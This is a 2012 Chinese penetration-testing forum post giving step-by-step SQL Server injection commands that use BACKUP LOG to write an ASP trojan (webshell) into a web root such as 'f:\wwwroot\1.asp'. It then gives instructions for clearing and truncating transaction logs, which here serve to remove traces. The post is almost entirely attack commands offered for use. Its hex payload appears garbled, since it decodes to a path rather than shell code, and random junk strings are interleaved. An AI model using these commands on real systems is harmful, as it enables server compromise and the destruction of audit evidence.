中国网络渗透测试联盟
标题:
差异备份提权
[打印本页]
作者:
admin
时间:
2012-9-15 14:38
标题:
差异备份提权
select * from master.dbo.sysdatabases 列出所有列的记录
9 G; Z- p) K! c8 O1 [
! d! c/ b3 m, H
select name from master.dbo.sysdatabases 仅列出name列的记录
3 R& {. ]3 o( S; h
$ }5 y2 K0 @* j" j, A
注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份
% h1 e0 z9 J9 n7 a: ?
+ m% h5 [9 r8 m6 u1 m% t
alter database 数据库名 set RECOVERY FULL--
' N* Q7 X4 O6 O3 L' o* J5 Q
* J' R1 c+ }; p6 h2 N
create table cmd (a image)-- \**cmd是创建的临时表
+ c/ H! g, W. K6 V' v6 S3 h1 C
) ?+ N* b& d. z
backup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--
: r4 Q l6 T! L) [! P
! G- S j. w# z0 S) L
insert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--
) }, z+ r$ B+ d5 w2 m i8 e
) Q3 a2 y/ l' Z- v0 j% D- J
//木马存放路径（转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个）
X7 X7 s2 y/ j# p5 W! ]
/ G! |# g9 W& Q. L
backup log 数据库名 to disk = 'f:\wwwroot\1.asp'-- (要备份的目录)
. `' N0 G5 t2 Z: k3 m7 C: a! {" g: Z
( [; h9 `, c# t( S5 d6 `
drop table cmd--
$ r0 ~2 B0 k' r% ?
1 C4 x7 y3 Y0 I4 Z5 h* V
% {0 s4 l, _$ }9 J& i
f:\
5 s$ C1 Y& @7 l. _. ^0 {
16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)
) h, m7 D3 T( |' {- H& g; O& x6 {% f
( {- l3 E& ~2 t7 B
最好多加几个回车0d0a,要不会出错哈
* s: K5 e! N3 H1 k
" h' F r4 O+ J3 Q
+ O# i' U! _: X1 q) p# U% Z9 A1 _
SQL Server日志清空方法
# _! @0 z% b+ o9 J) _- W
/ Q+ a& v1 c/ N7 R3 c' F
在查询分析器中顺序执行以下三步，其中 databasename 为你的数据库文件名
, w" W' T# t5 u4 k. s, ^
1.清空日志：DUMP TRANSACTION databasename WITH NO_LOG
+ l% {3 v9 U! ]7 Q
4 g$ U2 p& V* p6 v4 I0 N
2.截断事务日志：BACKUP LOG databasename WITH NO_LOG
0 x( c9 i. k' l$ _+ {
. h }, O/ e2 z/ V9 s4 Q
3.收缩数据库：DBCC SHRINKDATABASE(databasename)
r( G) m& _5 J) b( ~( X
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2